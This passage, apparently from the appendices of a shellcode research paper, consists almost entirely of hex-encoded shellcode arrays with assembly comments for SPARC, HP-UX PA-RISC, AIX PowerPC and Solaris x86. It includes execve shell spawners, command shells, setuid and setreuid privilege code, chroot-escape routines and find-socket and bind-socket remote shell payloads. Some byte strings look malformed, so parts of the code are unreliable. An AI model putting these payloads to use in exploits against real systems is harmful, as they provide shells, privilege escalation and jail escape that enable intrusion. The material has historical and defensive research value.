    "\x7f\xff\xff\xff"    /* call <cmdshellcode+4> */
    "\x90\x03\xe0\x34"    /* add %o7,52,%o0        */
    "\x92\x23\xe0\x20"    /* sub %o7,32,%o1        */
    "\xa2\x02\x20\x0c"    /* add %o0,12,%11        */
    "\xa4\x02\x20\x10"    /* add %o0,16,%12        */
    "\xc0\x2a\x20\x08"    /* stb %g0,[%o0+8]       */
    "\xc0\x2a\x20\x0e"    /* stb %g0,[%o0+14]      */
    "\xd0\x23\xff\xe0"    /* st %o0,[%o7-32]       */
    "\xe2\x23\xff\xe4"    /* st %11,[%o7-28]       */
    "\xe4\x23\xff\xe8"    /* st %12,[%o7-24]       */
    "\xc0\x23\xffxec"    /* st %g0,[%o7-20]       */
    "\x82\x10\x20\x0b"    /* mov 0x0b,%g1          */
    "\x91\xd0\x20\x08"    /* ta 8                   */
    "/bin/ksh -c "
    /* command */
;

char setuidcode[]=        /* 3*4 bytes            */
    "\x90\x08\x20\x01"    /* and %g0,1,%o0         */
```

```

    "\x82\x10\x20\x17"    /* mov    0x17,%g1    */
    "\x91\xd0\x20\x08"    /* ta     8           */
;

char chrootcode[] =      /* 20*4 bytes        */
    "\x20\xbf\xff\xff"   /* bn,a   <chrootcode-4> */
    "\x20\xbf\xff\xff"   /* bn,a   <chrootcode>   */
    "\x7f\xff\xff\xff"   /* call   <chrootcode+4> */
    "\x80\x61.."
    "\xc0\x2b\xe0\x08"   /* stb    %g0, [%o7+8]   */
    "\x90\x03\xe0\x05"   /* add    %o7,5,%o0      */
    "\x82\x10\x20\x50"   /* mov    0x50,%g1       */
    "\x91\xd0\x20\x08"   /* ta     8               */
    "\x90\x03\xe0\x05"   /* add    %o7,5,%o0      */
    "\x82\x10\x20\x3d"   /* mov    0x3d,%g1       */
    "\x91\xd0\x20\x08"   /* ta     8               */
    "\xaa\x20\x3f\xe0"   /* sub    %g0,-32,%15    */
    "\x90\x03\xe0\x06"   /* add    %o7,6,%o0      */
    "\x82\x10\x20\x0c"   /* mov    0x0c,%g1       */
    "\xaa\x85\x7f\xff"   /* addcc  %15,-1,%15     */
    "\x12\xbf\xff\xfd"   /* ble    <chrootcode+48> */
    "\x91\xd0\x20\x08"   /* ta     8               */
    "\x90\x03\xe0\x07"   /* add    %o7,7,%o0      */
    "\x82\x10\x20\x3d"   /* mov    0x3d,%g1       */
    "\x91\xd0\x20\x08"   /* ta     8               */
;

char findsckcode[] =    /* 35*4 bytes        */
    "\x20\xbf\xff\xff"   /* bn,a   <findsckcode-4> */
    "\x20\xbf\xff\xff"   /* bn,a   <findsckcode>   */
    "\x7f\xff\xff\xff"   /* call   <findsckcode+4> */
    "\x33\x02\x12\x34"
    "\xa0\x10\x20\xff"   /* mov    0xff,%10       */
    "\xa2\x10\x20\x54"   /* mov    0x54,%11       */
    "\xa4\x03\xff\xd0"   /* add    %o7,-48,%12    */
    "\xaa\x03\xe0\x28"   /* add    %o7,40,%15     */
    "\x81\xc5\x60\x08"   /* jmp    %15+8          */
    "\xc0\x2b\xe0\x04"   /* stb    %g0, [%o7+4]   */
    "\xe6\x03\xff\xd0"   /* ld     [%o7-48],%13    */
    "\xe8\x03\xe0\x04"   /* ld     [%o7+4],%14     */
    "\xa8\xa4\xc0\x14"   /* subcc  %13,%14,%14    */
    "\x02\xbf\xff\xfb"   /* bz     <findsckcode+32> */
    "\xaa\x03\xe0\x5c"   /* add    %o7,92,%15     */
    "\xe2\x23\xff\xc4"   /* st     %11, [%o7-60]   */
    "\xe2\x23\xff\xc8"   /* st     %11, [%o7-56]   */
    "\xe4\x23\xff\xc4"   /* st     %12, [%o7-52]   */
    "\x90\x04\x20\x01"   /* add    %10,1,%o0      */
    "\xa7\x2c\x60\x08"   /* sll   %11,8,%13       */
    "\x92\x14\xe0\x91"   /* or    %13,0x91,%o1    */
    "\x94\x03\xff\xc4"   /* add    %o7,-60,%o2    */
    "\x82\x10\x20\x36"   /* mov    0x36,%g1       */
    "\x91\xd0\x20\x08"   /* ta     8               */
    "\x1a\xbf\xff\xf1"   /* bcc   <findsckcode+36> */

```

```

"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;

char bindsckcode[]= /* 34*4 bytes */
"\x20\xbf\xff\xff" /* bn,a <bindsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <bindsckcode> */
"\x7f\xff\xff\xff" /* call <bindsckcode+4> */
"\x33\x02\x12\x34"
"\x90\x10\x20\x02" /* mov 0x02,%o0 */
"\x92\x10\x20\x02" /* mov 0x02,%o1 */
"\x94\x08\x20\x01" /* and %g0,1,%o2 */
"\x96\x08\x20\x01" /* and %g0,1,%o3 */
"\x98\x10\x20\x01" /* mov 0x01,%o4 */
"\x82\x10\x20\xe6" /* mov 0xe6,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\xa2\x22\x3f\xff" /* sub %o0,-1,%l1 */
"\xc0\x23\xe0\x08" /* st %g0,[%o7+8] */
"\x92\x03\xe0\x04" /* add %o7,4,%o1 */
"\x94\x10\x20\x10" /* mov 0x10,%o2 */
"\x96\x10\x20\x02" /* mov 0x02,%o3 */
"\x82\x10\x20\xe8" /* mov 0xe8,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x90\x04\x7f\xff" /* add %l1,-1,%o0 */
"\x92\x10\x20\x05" /* mov 0x05,%o1 */
"\x82\x10\x20\xe9" /* mov 0xe9,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x90\x04\x7f\xff" /* add %l1,-1,%o0 */
"\x92\x08\x20\x01" /* and %g0,1,%o1 */
"\x94\x08\x20\x01" /* and %g0,1,%o2 */
"\x82\x10\x20\xea" /* mov 0xea,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfc" /* bne <bindsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;

```

```
#define FINDSCKPORTOFS 14
#define BINDSCKPORTOFS 14

#endif
```


Appendix C

HP-UX/PA-RISC codes, file: parisc-hpux

```
#if defined(PARISC) && defined(HPUX)

char shellcode[]=          /* 7*4+8 bytes          */
    "\xeb\x5f\x1f\xfd"    /* bl    <shellcode+4>,%r26 */
    "\x0b\x39\x02\x99"    /* xor   %r25,%r25,%r25     */
    "\xb7\x5a\x40\x22"    /* addi,< 0x11,%r26,%r26     */
    "\x0f\x40\x12\x0e"    /* stbs  %r0,7(%r26)         */
    "\x20\x20\x08\x01"    /* ldil  L%0xc0000004,%r1    */
    "\xe4\x20\xe0\x08"    /* ble   R%0xc0000004(%sr7,%r1) */
    "\xb4\x16\x70\x16"    /* addi,> 0xb,%r0,%r22      */
    "/bin/sh"
;

char cmdshellcode[]=      /* 14*4+12+cmdlen bytes  */
    "\xeb\x5f\x1f\xfd"    /* bl    <cmdshellcode+4>,%r26 */
    "\x20\x20\x08\x01"    /* ldil  L%0xc0000004,%r1    */
    "\xb7\x5a\x40\x5a"    /* addi,< 0x2d,%r26,%r26     */
    "\xb7\x56\x40\x10"    /* addi,< 0x8,%r26,%r22      */
    "\xb7\x55\x40\x18"    /* addi,< 0xc,%r26,%r21     */
    "\x0f\x40\x12\x0e"    /* stbs  %r0,0x7(%r26)      */
    "\x0f\x40\x12\x14"    /* stbs  %r0,0xa(%r26)      */
    "\x6b\x5a\x3f\x99"    /* stw   %r26,-0x34(%r26)   */
    "\x6b\x56\x3f\xa1"    /* stw   %r22,-0x30(%r26)   */
    "\x6b\x55\x3f\xa9"    /* stw   %r21,-0x2c(%r26)   */
    "\x6b\x40\x3f\xb1"    /* stw   %r0,-0x28(%r26)   */
    "\xb7\x59\x47\x99"    /* addi,< -0x34,%r26,%r25   */
    "\xe4\x20\xe0\x08"    /* ble   R%0xc0000004(%sr7,%r1) */
    "\xb4\x16\x70\x16"    /* addi,> 0x0b,%r0,%r22     */
    "/bin/sh -c "
    /* command */
;

char setresuidcode[]=     /* 6*4 bytes            */
    "\x0b\x5a\x02\x9a"    /* xor   %r26,%r26,%r26     */
    "\x0b\x39\x02\x99"    /* xor   %r25,%r25,%r25     */
    "\x0b\x18\x02\x98"    /* xor   %r24,%r24,%r24     */
    "\x20\x20\x08\x01"    /* ldil  L%0xc0000004,%r1    */
    "\xe4\x20\xe0\x08"    /* ble   R%0xc0000004(%sr7,%r1) */
```

```

    "\xb4\x16\x70\xfc" /* addi,> 0x7e,%r0,%r22 */
;

char chrootcode[] = /* 24*4 bytes */
"\xb4\x17\x40\x04" /* addi,< 0x2,%r0,%r23 */
"\xeb\x57\x40\x02" /* blr,n %r23,%r26 */
"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
"\x0a\xf7\x02\x97" /* xor %r23,%r23,%r23 */
"\xe8\x40\xc0\x02" /* bv,n 0(%rp) */
"\x61\x2e\x2e\x2e" /* a... */
"\xb7\x5a\x40\x12" /* addi,< 0x9,%r26,%r26 */
"\x08\x1a\x06\x0c" /* add %r26,%r0,%r12 */
"\x0d\x80\x12\x06" /* stbs %r0,0x3(%r12) */
"\xe8\x5f\x1f\xad" /* bl <chrootcode+4>,%rp */
"\xb4\x16\x71\x10" /* addi,> 0x88,%r0,%r22 */
"\x08\x0c\x06\x1a" /* add %r12,%r0,%r26 */
"\xe8\x5f\x1f\x95" /* bl <chrootcode+4>,%rp */
"\xb4\x16\x70\x7a" /* addi,> 0x3d,%r0,%r22 */
"\xb4\x0d\x01\xfe" /* addi 0xff,%r0,%r13 */
"\xb5\x9a\x40\x02" /* addi,< 0x1,%r12,%r26 */
"\xe8\x5f\x1f\x75" /* bl <chrootcode+4>,%rp */
"\xb4\x16\x70\x18" /* addi,> 0xc,%r0,%r22 */
"\x88\x0d\x3f\xdd" /* combf,= %r13,%r0,<chrootcode+64> */
"\xb5\xad\x07\xff" /* addi -0x1,%r13,%r13 */
"\xb5\x9a\x40\x04" /* addi,< 0x2,%r12,%r26 */
"\xe8\x5f\x1f\x4d" /* bl <chrootcode+4>,%rp */
"\xb4\x16\x70\x7a" /* addi,> 0x3d,%r0,%r22 */
;

char findscckcode[] = /* 30*4 bytes */
"\xe9\x9f\x1f\xfd" /* bl <findscckcode+4>,%r12 */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\xb4\x0e\x01\xde" /* addi 0xef,%r0,%r14 */
"\xb5\x98\x07\xd3" /* addi -0x17,%r12,%r24 */
"\xb5\x99\x07\xdb" /* addi -0x13,%r12,%r25 */
"\x08\x0e\x06\x1a" /* add %r14,%r0,%r26 */
"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
"\xb4\x16\x02\x2c" /* addi 0x116,%r0,%r22 */
"\x80\x1c\x20\x20" /* combf,= %ret0,%r0,<findscckcode+60> */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\xb5\xce\x07\xff" /* addi -0x1,%r14,%r14 */
"\x88\x0e\x3f\xad" /* combf,= %r14,%r0,<findscckcode+12> */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\x61\x61\x12\x34"
"\xb5\x99\x06\x3f" /* addi -0xe1,%r12,%r25 */
"\x47\x2f\x02\x20" /* ldh 0x110(%r25),%r15 */
"\x45\x90\x3f\xdf" /* ldh -0x11(%r12),%r16 */
"\x82\x0f\x20\x10" /* combf,= %r15,%r16,<findscckcode+88> */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\x8a\x0f\x3f\x6d" /* combf,= %r15,%r16,<findscckcode+12> */
"\xb5\xce\x07\xff" /* addi -0x1,%r14,%r14 */

```

```

"\xb4\xf0\x40\x04" /* addi,< 0x2,%r0,%r15 */
"\x08\x0e\x06\x1a" /* add %r14,%r0,%r26 */
"\x08\xf0\x06\x19" /* add %r15,%r0,%r25 */
"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
"\xb4\x16\x70\xb4" /* addi,> 0x5a,%r0,%r22 */
"\x88\xf0\x3f\xcd" /* combf,= %r15,%r0,<findsckcode+92> */
"\xb5\xef\x07\xff" /* addi -0x1,%r15,%r15 */
;

char bindsckcode[]= /* 37*4 bytes */
"\xb4\x17\x40\x04" /* addi,< 0x2,%r0,%r23 */
"\xe9\x97\x40\x02" /* blr,n %r23,%r12 */
"\x20\x20\x08\x01" /* ldil L%0xc0000004,%r1 */
"\xe4\x20\xe0\x08" /* ble R%0xc0000004(%sr7,%r1) */
"\x0a\xf7\x02\x97" /* xor %r23,%r23,%r23 */
"\xe8\x40\xc0\x02" /* bv,n 0(%rp) */
"\x61\x02\x23\x45"
"\xb4\x1a\x40\x04" /* addi,< 0x2,%r0,%r26 */
"\xb4\x19\x40\x02" /* addi,< 0x1,%r0,%r25 */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\xe8\x5f\x1f\xad" /* bl <bindsckcode+4>,%rp */
"\xb4\x16\x72\x44" /* addi,> 0x122,%r0,%r22 */
"\x08\x1c\x06\x0d" /* add %ret0,%r0,%r13 */
"\xb5\x8c\x40\x10" /* addi,< 0x8,%r12,%r12 */
"\xb4\x18\x40\x20" /* addi,< 0x10,%r0,%r24 */
"\x08\x0d\x06\x1a" /* add %r13,%r0,%r26 */
"\x0d\x80\x12\x8a" /* stw %r0,0x5(%r12) */
"\xb5\x99\x40\x02" /* addi,< 0x1,%r12,%r25 */
"\xe8\x5f\x1f\x6d" /* bl <bindsckcode+4>,%rp */
"\xb4\x16\x72\x28" /* addi,> 0x114,%r0,%r22 */
"\x08\x0d\x06\x1a" /* add %r13,%r0,%r26 */
"\xb4\x19\x40\x02" /* addi,< 0x1,%r0,%r25 */
"\xe8\x5f\x1f\x4d" /* bl <bindsckcode+4>,%rp */
"\xb4\x16\x72\x32" /* addi,> 0x119,%r0,%r22 */
"\x08\x0d\x06\x1a" /* add %r13,%r0,%r26 */
"\x0b\x39\x02\x99" /* xor %r25,%r25,%r25 */
"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */
"\xe8\x5f\x1f\x25" /* bl <bindsckcode+4>,%rp */
"\xb4\x16\x72\x26" /* addi,> 0x113,%r0,%r22 */
"\xb4\x0e\x40\x04" /* addi,< 0x2,%r0,%r14 */
"\x08\x1c\x06\x0c" /* add %ret0,%r0,%r12 */
"\x08\x0c\x06\x1a" /* add %r12,%r0,%r26 */
"\x08\x0e\x06\x19" /* add %r14,%r0,%r25 */
"\xe8\x5f\x1e\xf5" /* bl <bindsckcode+4>,%rp */
"\xb4\x16\x70\xb4" /* addi,> 0x5a,%r0,%r22 */
"\x88\x0e\x3f\x5d" /* combf,= %r14,%r0,<bindsckcode+124> */
"\xb5\xce\x07\xff" /* addi -0x1,%r14,%r14 */
;

char jump[]=
"\xe0\x40\x00\x00" /* be 0x0(%sr0,%rp) */
"\x37\xdc\x00\x00" /* copy %sp,%ret0 */

```

```
;
```

```
#define FINDSCKPORTOFS 58
```

```
#define BINDSCKPORTOFS 26
```

```
#endif
```

Appendix D

AIX/POWER/PowerPC codes, file: powerpc-aix

```
#if defined(POWERPC) && defined(AIX)

char _shellcode[]=          /* 12*4+8 bytes          */
    "\x7c\xa5\x2a\x79"     /* xor.   r5,r5,r5      */
    "\x40\x82\xff\xfd"     /* bnel   <shellcode>  */
    "\x7f\xe8\x02\xa6"     /* mflr   r31           */
    "\x3b\xff\x01\x20"     /* cal    r31,0x120(r31) */
    "\x38\x7f\xff\x08"     /* cal    r3,-248(r31)  */
    "\x38\x9f\xff\x10"     /* cal    r4,-240(r31)  */
    "\x90\x7f\xff\x10"     /* st     r3,-240(r31)  */
    "\x90\xbf\xff\x14"     /* st     r5,-236(r31)  */
    "\x88\x5f\xff\x0f"     /* lbz    r2,-241(r31)  */
    "\x98\xbf\xff\x0f"     /* stb    r5,-241(r31)  */
    "\x4c\xc6\x33\x42"     /* crorc  cr6,cr6,cr6   */
    "\x44\xff\xff\x02"     /* svca                   */
    "/bin/sh"

#ifdef V41
    "\x03"
#endif
#ifdef V42
    "\x02"
#endif
#ifdef V43
    "\x04"
#endif
;

char _setreuidshellcode[]= /* 19*4+7 bytes          */
    "\x7e\x94\xa2\x79"     /* xor.   r20,r20,r20   */
    "\x40\x82\xff\xfd"     /* bnel   (setreuidcode) */
    "\x7e\xa8\x02\xa6"     /* mflr   r21           */
    "\x3a\xb5\x01\x40"     /* cal    r21,0x140(r21) */
    "\x88\x55\xfe\xe0"     /* lbz    r2,-288(r21)  */
    "\x7e\x83\xa3\x78"     /* mr     r3,r20         */
    "\x3a\xd5\xfe\xe4"     /* cal    r22,-284(r21) */
    "\x7e\xc8\x03\xa6"     /* mtlr   r22           */
    "\x4c\xc6\x33\x42"     /* crorc  cr6,cr6,cr6   */
    "\x44\xff\xff\x02"     /* svca                   */
```

```

#ifdef V41
    "\x68\x03\xff\xff"
#endif
#ifdef V42
    "\x71\x02\xff\xff"
#endif
#ifdef V43
    "\x82\x04\xff\xff"
#endif
    "\x38\x75\xff\x04" /* cal    r3,-252(r21) */
    "\x38\x95\xff\x0c" /* cal    r4,-244(r21) */
    "\x7e\x85\xa3\x78" /* mr     r5,r20      */
    "\x90\x75\xff\x0c" /* st     r3,-244(r21) */
    "\x92\x95\xff\x10" /* st     r20,-240(r21) */
    "\x88\x55\xfe\xe1" /* lbz   r2,-287(r21) */
    "\x9a\x95\xff\x0b" /* stb   r20,-245(r21) */
    "\x4b\xff\xff\xd8" /* bl     (setreuidcode+32) */
    "/bin/sh"
;

char syscallcode[] = /* 14*4 bytes */
    "\x7e\x94\xa2\x79" /* xor.   r20,r20,r20 */
    "\x40\x82\xff\xfd" /* bnel   <syscallcode> */
    "\x7e\xa8\x02\xa6" /* mflr  r21          */
    "\x3a\xc0\x01\xff" /* lil   r22,0x1ff   */
    "\x3a\xf6\xfe\x2d" /* cal   r23,-467(r22) */
    "\x7e\xb5\xba\x14" /* cax   r21,r21,r23 */
    "\x7e\xa9\x03\xa6" /* mtctr r21          */
    "\x4e\x80\x04\x20" /* bctr  r21          */
#ifdef V41
    "\x03\x68\x41\x5e"
    "\x6d\x7f\x6f\xd6"
    "\x57\x56\x55\x53"
#endif
#ifdef V42
    "\x02\x71\x46\x62"
    "\x76\x8e\x78\xe7"
    "\x5b\x5a\x59\x58"
#endif
#ifdef V43
    "\x04\x82\x53\x71"
    "\x87\xa0\x89\xfc"
    "\x69\x68\x67\x65"
#endif
    "\x4c\xc6\x33\x42" /* crorc  cr6,cr6,cr6 */
    "\x44\xff\xff\x02" /* svca   0x0         */
    "\x3a\xb5\xff\xf8" /* cal    r21,-8(r21) */
;

char shellcode[] = /* 12*4+7 bytes */
    "\x7c\xa5\x2a\x79" /* xor.   r5,r5,r5    */
    "\x40\x82\xff\xfd" /* bnel   <shellcode> */
    "\x7f\xe8\x02\xa6" /* mflr  r31          */

```

```

"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x55\xff\x4" /* lbz r2,-12(r21) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh"
;

char cmdshellcode[]= /* 17*4+12+cmdlen bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <cmdshellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x2c" /* cal r31,0x12c(r31) */
"\x38\x7f\xff\x10" /* cal r3,-240(r31) */
"\x38\x9f\xfe\xc8" /* cal r4,-312(r31) */
"\x38\xdf\xff\x18" /* cal r6,-232(r31) */
"\x38\xff\xff\x1c" /* cal r7,-228(r31) */
"\x90\x7f\xfe\xc8" /* st r3,-312(r31) */
"\x90\xdf\xfe\xcc" /* st r6,-308(r31) */
"\x90\xff\xfe\xd0" /* st r7,-304(r31) */
"\x90\xbf\xfe\xd4" /* st r5,-300(r31) */
"\x98\xbf\xff\x17" /* stb r5,-233(r31) */
"\x98\xbf\xff\x1a" /* stb r5,-230(r31) */
"\x88\x55\xff\x4" /* lbz r2,-12(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh -c "
/* command */
;

char setreuidcode[]= /* 4*4 bytes */
"\x88\x55\xff\xf5" /* lbz r2,-11(r21) */
"\x7e\x83\xa3\x78" /* mr r3,r20 */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
;

char chrootcode[]= /* 23*4 bytes */
"\x2c\x74\x2e\x2e" /* cmpi cr0,r20,0x2e2e */
"\x41\x82\xff\xfd" /* beql <chrootcode> */
"\x7f\x08\x02\xa6" /* mflr r24 */
"\x92\x98\xff\xfc" /* st r20,-4(r24) */
"\x38\x78\xff\xf9" /* cal r3,-7(r24) */
"\x88\x55\xff\xf9" /* lbz r2,-7(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x38\x78\xff\xf9" /* cal r3,-7(r24) */
"\x88\x55\xff\xfa" /* lbz r2,-6(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */

```

```

"\x4e\x80\x04\x21" /* bctrl */
"\x3b\x20\x01\x01" /* lil r25,0x101 */
"\x38\x78\xff\xfa" /* cal r3,-6(r24) */
"\x88\x55\xff\xf8" /* lbz r2,-8(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
"\x40\x82\xffxec" /* bne <chrootcode+52> */
"\x38\x78\xff\xfb" /* cal r3,-5(r24) */
"\x88\x55\xff\xfa" /* lbz r2,-6(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
;

char findsckcode[] = /* 38*4 bytes */
"\x2c\x74\x12\x34" /* cmpi cr0,r20,0x1234 */
"\x41\x82\xff\xfd" /* beql <findsckcode> */
"\x7f\x08\x02\xa6" /* mflr r24 */
"\x3b\x36\xfe\x2d" /* cal r25,-467(r22) */
"\x3b\x40\x01\x01" /* lil r26,0x16 */
"\x7f\x78\xca\x14" /* cax r27,r24,r25 */
"\x7f\x69\x03\xa6" /* mtctr r27 */
"\x4e\x80\x04\x20" /* bctr */
"\xa3\x78\xff\xfe" /* lhz r27,-2(r24) */
"\xa3\x98\xff\xfa" /* lhz r28,-6(r24) */
"\x7c\x1b\xe0\x40" /* compl cr0,r27,r28 */
"\x3b\x36\xfe\x59" /* cal r25,-423(r22) */
"\x41\x82\xff\xe4" /* beq <findsckcode+20> */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x98\xff\xfc" /* cal r4,-4(r24) */
"\x38\xb8\xff\xf4" /* cal r5,-12(r24) */
"\x93\x38\xff\xf4" /* st r25,-12(r24) */
"\x88\x55\xff\xf6" /* lbz r2,-10(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x5a\xff\xff" /* ai. r26,r26,-1 */
"\x2d\x03\xff\xff" /* cmpi cr2,r3,-1 */
"\x40\x8a\xff\xc8" /* bne cr2,<findsckcode+32> */
"\x40\x82\xff\xd8" /* bne <findsckcode+48> */
"\x3b\x36\xfe\x03" /* cal r25,-509(r22) */
"\x3b\x76\xfe\x02" /* cal r27,-510(r22) */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x88\x55\xff\xf7" /* lbz r2,-9(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x7a\xda\x14" /* cax r3,r26,r27 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7f\x25\xcb\x78" /* mr r5,r25 */
"\x88\x55\xff\xfb" /* lbz r2,-5(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
"\x40\x80\xff\xd4" /* bge <findsckcode+100> */

```



```

;

char bindsckcode[] =          /* 42*4 bytes          */
    "\x2c\x74\x12\x34"      /* cmpi    cr0,r20,0x1234 */
    "\x41\x82\xff\xfd"      /* beql    <bindsckcode>  */
    "\x7f\x08\x02\xa6"      /* mflr    r24             */
    "\x92\x98\xff\xfc"      /* st      r20,-4(r24)     */
    "\x38\x76\xfe\x03"      /* cal     r3,-509(r22)    */
    "\x38\x96\xfe\x02"      /* cal     r4,-510(r22)    */
    "\x98\x78\xff\xfd"      /* stb     r3,-7(r24)     */
    "\x7e\x85\xa3\x78"      /* mr      r5,r20          */
    "\x88\x55\xff\xfc"      /* lbz     r2,-4(r21)     */
    "\x7e\xa9\x03\xa6"      /* mtctr   r21            */
    "\x4e\x80\x04\x21"      /* bctrl   r21            */
    "\x7c\x79\x1b\x78"      /* mr      r25,r3         */
    "\x38\x98\xff\xfd"      /* cal     r4,-8(r24)     */
    "\x38\xb6\xfe\x11"      /* cal     r5,-495(r22)   */
    "\x88\x55\xff\xfd"      /* lbz     r2,-3(r21)     */
    "\x7e\xa9\x03\xa6"      /* mtctr   r21            */
    "\x4e\x80\x04\x21"      /* bctrl   r21            */
    "\x7f\x23\xcb\x78"      /* mr      r3,r25         */
    "\x38\x96\xfe\x06"      /* cal     r4,-506(r22)   */
    "\x88\x55\xff\xfe"      /* lbz     r2,-2(r21)     */
    "\x7e\xa9\x03\xa6"      /* mtctr   r21            */
    "\x4e\x80\x04\x21"      /* bctrl   r21            */
    "\x7f\x23\xcb\x78"      /* mr      r3,r25         */
    "\x7e\x84\xa3\x78"      /* mr      r4,r20         */
    "\x7e\x85\xa3\x78"      /* mr      r5,r20         */
    "\x88\x55\xff\xff"      /* lbz     r2,-1(r21)     */
    "\x7e\xa9\x03\xa6"      /* mtctr   r21            */
    "\x4e\x80\x04\x21"      /* bctrl   r21            */
    "\x7c\x79\x1b\x78"      /* mr      r25,r3         */
    "\x3b\x56\xfe\x03"      /* cal     r26,-509(r22)  */
    "\x7f\x43\xd3\x78"      /* mr      r3,r26         */
    "\x88\x55\xff\xfd"      /* lbz     r2,-9(r21)     */
    "\x7e\xa9\x03\xa6"      /* mtctr   r21            */
    "\x4e\x80\x04\x21"      /* bctrl   r21            */
    "\x7f\x23\xcb\x78"      /* mr      r3,r25         */
    "\x7e\x84\xa3\x78"      /* mr      r4,r20         */
    "\x7f\x45\xd3\x78"      /* mr      r5,r26         */
    "\x88\x55\xff\xfb"      /* lbz     r2,-5(r21)     */
    "\x7e\xa9\x03\xa6"      /* mtctr   r21            */
    "\x4e\x80\x04\x21"      /* bctrl   r21            */
    "\x37\x5a\xff\xff"      /* ai.     r26,r26,-1     */
    "\x40\x80\xff\xd4"      /* bge     <bindsckcode+120> */
;

#define FINDSCKPORTOFS      2
#define BINDSCKPORTOFS     2

#endif

```

Appendix E

Solaris/x86 codes, file: x86-solaris

```
#if defined(X86) && defined(SOLARIS)

char _shellcode[]=          /* 33+8 bytes          */
    "\xeb\x1a"              /* jmp    <shellcode+28> */
    "\x33\xd2"              /* xorl   %edx,%edx      */
    "\x58"                  /* popl   %eax           */
    "\x8d\x78\x14"          /* leal   0x14(%eax),%edi */
    "\x57"                  /* pushl  %edi           */
    "\x50"                  /* pushl  %eax           */
    "\xab"                  /* stosl  %eax,%es:(%edi) */
    "\x92"                  /* xchgl  %eax,%edx      */
    "\xab"                  /* stosl  %eax,%es:(%edi) */
    "\x88\x42\x08"          /* movb   %al,0x8(%edx)   */
    "\x83\xef\x3b"          /* subl   $0x3b,%edi     */
    "\xb0\x9a"              /* movb   $0x9a,%al      */
    "\xab"                  /* stosl  %eax,%es:(%edi) */
    "\x47"                  /* incl   %edi           */
    "\xb0\x07"              /* movb   $0x07,%al      */
    "\xab"                  /* stosl  %eax,%es:(%edi) */
    "\xb0\x0b"              /* movb   $0x0b,%al      */
    "\xe8\xe1\xff\xff"     /* call   <shellcode+2>   */
    "/bin/ksh"

;

char syscallcode[]=        /* 26 bytes           */
    "\x33\xc0"              /* xorl   %eax,%eax      */
    "\xeb\x09"              /* jmp    <syscallcode+13> */
    "\x5f"                  /* popl   %edi           */
    "\x57"                  /* pushl  %edi           */
    "\x47"                  /* incl   %edi           */
    "\xab"                  /* stosl  %eax,%es:(%edi) */
    "\x47"                  /* incl   %edi           */
